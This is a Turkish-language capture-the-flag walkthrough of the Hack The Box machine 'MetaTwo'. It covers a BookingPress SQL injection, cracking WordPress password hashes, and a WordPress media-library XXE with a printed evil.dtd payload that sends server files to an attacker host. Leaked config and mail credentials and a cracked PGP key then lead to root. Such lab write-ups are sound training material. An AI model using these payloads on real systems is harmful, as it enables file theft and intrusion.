Hack The Box | MetaTwo

 


Makinayı nmap ile tarıyoruz .

21/tcp open  ftp?
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0

 

/etc/hosts dosyasına metapress.htb adresini ekliyoruz . Adrese gittiğimide WordPress karşımıza çıkıyor .

 

 Sitede metapress.htb/events dizininde booking uygulaması dikkat  çekiyor .

Bu aşamada uygulamayı keşfediyoruz . Wpscan ile tarattığımızda pluginler gözükmüyor . Sayfanın kaynak koduna bakdığımızda  BookingPress plugini yüklü olduğunu görüyoruz .

- https://wordpress.org/plugins/bookingpress-appointment-booking/

 BookingPress ile alakalı Google'da araştırma yaptığımızda Unauthanticated SQL İnjection zafiyeti olduğunu  görüyoruz . 

- https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

Bu zafiyet ile alakalı GitHub üzerinde pek çok exploit buluyoruz . 

- https://github.com/BKreisel/CVE-2022-0739

 Exploit'i çalıştırdığımızda Wordpress veri tabanındaki kullanıları ver parola hashlerini elde ediyoruz . Hashleri kırmak için Hashcat aracını kullanıyoruz .

 hashcat -O -m 400 -a 0 -o cracked.txt targethashes.txt rockyou.txt

- https://blog.wpsec.com/cracking-wordpress-passwords-with-hashcat/


 Manager'e ait hash'i elde ettik . Elde ettiğimiz credetial ile giriş yaptığımızda düşük yetkiye sahip olduğumuz için plugin yükleyemiyoruz ve sayfaları editleyemiyoruz . Bu nedenle Wordpress ile alakalı zafiyetlere bakıyoruz .

WordPress 5.6.2 versiyonunda  XXE zafiyeti bulunuyor . 

- https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

Zafiyeti sömürmek için adım adım uyguluyoruz . 

php -S 0.0.0.0:9123  komutu ile  9123. portta bi http sunucusu ayağa kaldırıyoruz .

Evil.dtd dosyasını oluşturuyoruz .

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.100:9123/?p=%file;'>" >

Wav formatında payloadı oluşturduk . Payload dosyamızı medya yükleme kısmından WordPress'e yükledik .

 

Her payloadı yüklediğimizde evil.dtd içinde belirtilen dosyayı okuyup sunucumuza base64 encoded şekilde istek yapıyor. Başarılı bir şekilde /etc/passwd dosyasını okuyabildik . İçerde çeşitli dosyaları okuma çalışalım . Nmap taramasında nginx çalıştığını görmüştük . /etc/nginx/sites-enabled/default dosyasını okuyoruz .

" /etc/nginx/sites-enabled/default is the path given to the default website for Debian based systems. "

Dosya içerisinde blogun bulunduğu dizini öğrenmiş olduk .


Blog dizini altında Wordpress olduğunu bildiğimiz için /var/www/metapress.htb/blog/wp-config.php dosyasını okuduk ve ftp bilgilerini elde ettik .

  /wp-content/uploads/ klasörünün altına shell dosyası yazmaya çalışıyoruz fakat yazma yetimiz yok . 

Bulunduğumuz dizinleri keşfetmeye başlıyoruz . Mailer klasörüne girdiğimizde send_email.php  dosyasının içerisinde jnelson kullanıcısının bilgilerini buluyoruz .

Ssh ile bağlantı gerçekleştirdik . User flag'ini okuduk . 

Home klasöründe .passpie klasörü içerisinde çeşitli pgp keyleri ve şifrelenmiş mesajları buluyoruz .

 

Pgp ile şifrelenmiş bir mesaj   parolayı barındırıyor . 

 Public key ve private key'e sahibiz .

 

 Private keyi kırmak için John aracını kullanıyoruz .

 Parolayı elde ettikten sonra private pgp keyini import ediyoruz . Kırdığımız parolayı decrypt ederken soruyor işlem başarılı .

 

Root parolasını elde  ettikten sonra makinede tam yetkiye sahip oluyoruz .

 

 

 

Hack The Box | MetaTwo

  Makinayı nmap ile tarıyoruz . 21/tcp open  ftp? | fingerprint-strings: |   GenericLines: |     220 ProFTPD Server (Debian) [::ffff:10.10.1...